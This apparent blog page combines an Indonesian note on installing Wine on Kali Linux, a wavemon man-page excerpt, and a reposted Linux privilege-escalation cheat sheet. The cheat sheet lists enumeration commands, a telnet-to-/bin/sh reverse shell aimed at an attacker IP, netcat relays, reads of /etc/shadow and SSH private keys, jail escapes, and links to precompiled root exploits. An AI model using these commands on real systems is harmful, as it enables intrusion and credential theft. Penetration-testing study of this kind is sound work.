how to install wine on kali linux 1.0.x AMD

Alhamdulillah Kali linux release versi terbaru 1.0.7 . tidak menunggu lama langsung saja saya install di laptop tua kesayangan ini ^_^ saya menginstall versi amd (x64).
setelah terinstall semua terasa nyaman , cobalah saya menginstall aplikasi windows di linux ini . keanehan mulai terjadi :( kali linux ini tidak dilengkapi wine, ntah mengapa saya juga belum menemukan jawabannya. alhasil setelah googling beberapa menit saya berniat mengintall wine secara manual. saya coba dengan cara mengaktifkan repo i386, berikut beberapa langkahnya :

1. mengaktifkan repo arsitektur 32bit / i386, buka terminal kemudian pastekan perintah dibawah ini

dpkg --add-architecture i386

2. kemudian melanjutkan dengan update dan instalasi wine
apt-get update && apt-get install wine-bin:i386

cukup menunggu dan wine akan terinstall di kali linux amd.
sekian catatan ini saya buat , :)

 

wavemon - wireless network monitor application

wavemon is a ncurses-based monitor for wireless devices. It allows you to watch the signal and noise levels, packet statistics, device configuration, and network parameters of your wireless network hardware. It has currently only been tested with the Lucent Orinoco series of cards, although it should work (with varying features) with all devices supported by the wireless kernel extensions written by Jean Tourrilhes.



These screens are currently implemented:

       Info (F1)
              This  is  the  most  "conclusive"  of  the  monitor  screens. It
              displays a condensed overview of all available wireless-specific
              parameters  and network statistics, as well as bar graphs of the
              current signal and noise levels. There are several  sub-sections
              to further separate the information.

              At  the  Interface  section, the name, ESSID and nickname of the
              current wireless interface are shown.

              Below, at the Levels section, you can see four bargraphs showing
              the  quality  of  the link to the next station (if established),
              the level of the received signal, the current  receiver’s  noise
              level  and  the  signal-to-noise  ration,  which  gives  a  good
              approximation of the overall signal quality. The colour  of  the
              signal  level  bargraph  changes from red to yellow and green at
              fixed levels, while the colour  of  the  noise  level  graph  is
              adapted  to  the  current  signal  level  (it turns red when the
              signal-to-noise-ratio gets below 0dB).  If  the  thresholds  are
              associated  with  any  actions,  two  arrows on the signal level
              graph will show the positions of the current thresholds. More on
              this topic later.

              The  Statistics  section  displays packet and byte counters. The
              first four values, preceded RX and TX, show  the  current  total
              number   of   packets   received   and   transceived  since  the
              initialization of the  interface.  The  following  three  values
              display  the  number  of  packets  that  were discarded from the
              interface because of invalid network ids, wrong encryption  keys
              and other errors.

              Below,   at   the  Info  subsection,  various  wireless-specific
              parameters of the interface are displayed. What  parameters  are
              actually  shown may vary and depends on the capabilities and the
              operation mode of your network device. The top  line  shows  the
              current  frequency  the  interface  operates on, the sensitivity
              threshold of the receiver and the transmission power. Below, the
              operation  mode  of  the  interface (managed, ad-hoc...) and, if
              appropriate, the MAC address of the  current  access  point  are
              displayed.  The third line shows the current data transfer speed
              in Mbit/s and the retransmission and  fragmentation  thresholds.
              Whether  or not the details about encryption show up in the next
              line depends on the permissions of the user. Finally,  the  last
              line  displays  the power management parameters, if this feature
              is available and active.

              The last section, titled Network,  shows  -  you  guessed  it  -
              network  parameters,  such  as  the  interface name and hardware
              address as well as  the  interface,  netmask  and  broadcast  IP
              addresses. These parameters are not wireless-related.

              Another keyboard shortcut for this screen is ’i’.

       Level histogram (F2)
              This  is a full-screen histogram plot of the signal/noise levels
              and the signal-to-noise levels. It shows the level changes  with
              time.  Below  the  plot,  the  key  is  shown. If available, the
              terminfo scanline  chars  are  used  in  order  to  enhance  the
              precision of the level plots, i.e. this screen will particularly
              look nifty in a xterm.

       Access point list (F3)
              This screen provides a list  of  MAC  addresses  specifying  the
              access  points  within  range.  This feature is currently _very_
              rudimentary and may not even work for you. Stay tuned, as a more
              useable access point list is on its way.

       Preferences (F7)
              This  screen  allows  you  to change all program options such as
              interface and level  scale  parameters,  and  to  save  the  new
              settings to the configuration file. Select a parameter with <up>
              and <down>, then change  the  value  with  <left>  and  <right>.
              Please   refer  to  the  wavemonrc  man  page  for  an  in-depth
              description of all available settings.

       Help (F8)
              This page will show an online-help in the  near  future;  it  is
              currently not implemented.

       About (F9)
              This  screen  contains  information  about  the  current wavemon
              release.

       Quit (F10)
              The associated function key will immediately exit  wavemon.   An
              alternative keyboard shortcut for quitting is ’q’.

OPTIONS

       -h     print  a  short  explanation  of  the command line arguments and
              exit.

       -i     interface
              override autodetection and use the specified interface.

       -r     generate random levels (for testing purposes).

       -v     dump the version number to stdout and exit.

Basic Linux Privilege Escalation

Enumeration is the key.
(Linux) privilege escalation is all about:

• Collect - Enumeration, more enumeration and some more enumeration.
• Process - Sort through data, analyse and prioritisation.
• Search - Know what to search for and where to find the exploit code.
• Adapt - Customize the exploit, so it fits. Not every exploit work for every system "out of the box".
• Try - Get ready for (lots of) trial and error.

Operating System

What's the distribution type? What version?
cat /etc/issue
cat /etc/*-release
   cat /etc/lsb-release
   cat /etc/redhat-release


What's the Kernel version? Is it 64-bit?
cat /proc/version   
uname -a
uname -mrs 
rpm -q kernel 
dmesg | grep Linux
ls /boot | grep vmlinuz-


What can be learnt from the environmental variables?
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set


Is there a printer?
lpstat -a

Applications & Services

What services are running? Which service has which user privilege?
ps aux
ps -ef
top
cat /etc/service 


Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!
ps aux | grep root
ps -ef | grep root


What applications are installed? What version are they? Are they currently running?
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/ 


Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?
cat /etc/syslog.conf 
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf 
cat /etc/inetd.conf 
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/ 


What jobs are scheduled?
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

Any plain text usernames and/or passwords?
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla 

Communications & Networking

What NIC(s) does the system have? Is it connected to another network?
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network 


What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname


What other users & hosts are communicating with the system?
lsof -i 
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w


Whats cached? IP and/or MAC addresses
arp -e
route
/sbin/route -nee


Is packet sniffing possible? What can be seen? Listen to live traffic
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21


Have you got a shell? Can you interact with the system?
# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
nc -lvp 4444    # Attacker. Input (Commands)
nc -lvp 4445    # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!


Is port forwarding possible? Redirect and interact with traffic from another view
# rinetd
# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

# fpipe
# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port

# mknod backpipe p ; nc -l -p [remote port] < backpipe  | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe    # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)


Is tunnelling possible? Send commands locally, remotely
ssh -D 127.0.0.1:9050 -N [username]@[ip] 
proxychains ifconfig

Confidential Information & Users

Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?
id
who
w
last 
cat /etc/passwd | cut -d:    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l 


What sensitive files can be found? 
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/


Anything "interesting" in the home directorie(s)? If it's possible to access
ls -ahlR /root/
ls -ahlR /home/


Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD 
cat /root/anaconda-ks.cfg


What has the user being doing? Is there any password in plain text? What have they been edting?
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history 
cat ~/.php_history


What user information can be found? 
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root


Can private-key information be found? 
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

File Systems

Which configuration files can be written in /etc/? Able to reconfigure a service?
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null        # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null          # Other

find /etc/ -readable -type f 2>/dev/null                         # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone 


What can be found in /var/ ? 
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd 
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases


Any settings/files (hidden) on website? Any settings file with database information?
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/ 
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 
ls -alhR /var/www/html/


Is there anything in the log file(s) (Could help with "Local File Includes"!)
# http://www.thegeekstuff.com/2011/08/linux-var-log-files/
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
# auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp


If commands are limited, you break out of the "jail" shell?
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i


How are file-systems mounted? 
mount
df -h


Are there any unmounted file-systems?
cat /etc/fstab


What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID
find / -perm -1000 -type d 2>/dev/null    # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the  group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the  owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null 


Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm
find / -writable -type d 2>/dev/null        # world-writeable folders
find / -perm -222 -type d 2>/dev/null      # world-writeable folders
find / -perm -o+w -type d 2>/dev/null    # world-writeable folders

find / -perm -o+x -type d 2>/dev/null    # world-executable folders

find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null   # world-writeable & executable folders


Any "problem" files? Word-writeable, "nobody" files
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files

Preparation & Finding Exploit Code

What development tools/languages are installed/supported?
find / -name perl*
find / -name python*
find / -name gcc* 
find / -name cc


How can files be uploaded?
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp* 
find / -name ftp 


Finding exploit code
http://www.exploit-db.com
http://1337day.com
http://www.securiteam.com
http://www.securityfocus.com
http://www.exploitsearch.net
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
http://www.google.com 


Finding more information regarding the exploit 
http://www.cvedetails.com
http://packetstormsecurity.org/files/cve/[CVE]
http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]
http://www.vulnview.com/cve-details.php?cvename=[CVE]


(Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk
http://tarantula.by.ru/localroot/
http://www.kecepatan*66ghz*com/file/local-root-exploit-priv9/

Mitigations

Is any of the above information easy to find? 
Try doing it! 
Setup a cron job which automates script(s) and/or 3rd party products


Is the system fully patched? Kernel, operating system, all applications, their  plugins and web services 
apt-get update && apt-get upgrade
yum update


Are services running with the minimum level of privileges required? 
For example, do you need to run MySQL as root?


Scripts Can any of this be automated?!
http://pentestmonkey.net/tools/unix-privesc-check/
http://labs.portcullis.co.uk/application/enum4linux/
http://bastille-linux.sourceforge.net 

Other (quick) guides & Links

Enumeration
http://www.0daysecurity.com/penetration-testing/enumeration.html
http://www.microloft.co.uk/hacking/hacking3.htm


Misc
http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf
http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf
http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html

sumber : http://goo.gl/Xddt1u